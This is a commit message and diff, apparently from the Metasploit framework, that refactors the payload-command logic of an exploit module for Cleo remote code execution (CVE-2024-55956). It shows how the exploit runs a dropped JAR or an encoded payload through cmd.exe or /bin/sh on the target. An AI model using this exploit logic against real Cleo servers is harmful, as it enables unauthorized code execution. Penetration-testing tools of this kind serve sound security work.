favor a case statement over the if/elsif blocks (thanks jvoisin).

Author: sfewer-r7

modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb

@@ -113,22 +113,23 @@ def exploit
     jar_file = nil
     command = nil
 
-    if target['Platform'] == 'java'
+    case target['Platform']
+    when 'java'
       jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
 
       jar_file = payload.encoded_jar(random: true)
 
       # The product ships its own JRE, so we can use a relative path to run our Java JAR file.
       command = "jre/bin/java -jar \"#{jar_path}\""
-    elsif target['Platform'] == 'win'
+    when 'win'
       command = "cmd.exe /c \"#{payload.encoded}\""
-    elsif (target['Platform'] == 'linux') || (target['Platform'] == 'unix')
+    when 'linux', 'unix'
       command = "/bin/sh -c \"#{payload.encoded}\""
+    else
+      fail_with(Failure::BadConfig, 'Unsupported target platform')
     end
 
-    if command.nil?
-      fail_with(Failure::BadConfig, 'Unsupported target platform')
-    elsif command.include? ']]>'
+    if command.include? ']]>'
       # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
       fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"')
     end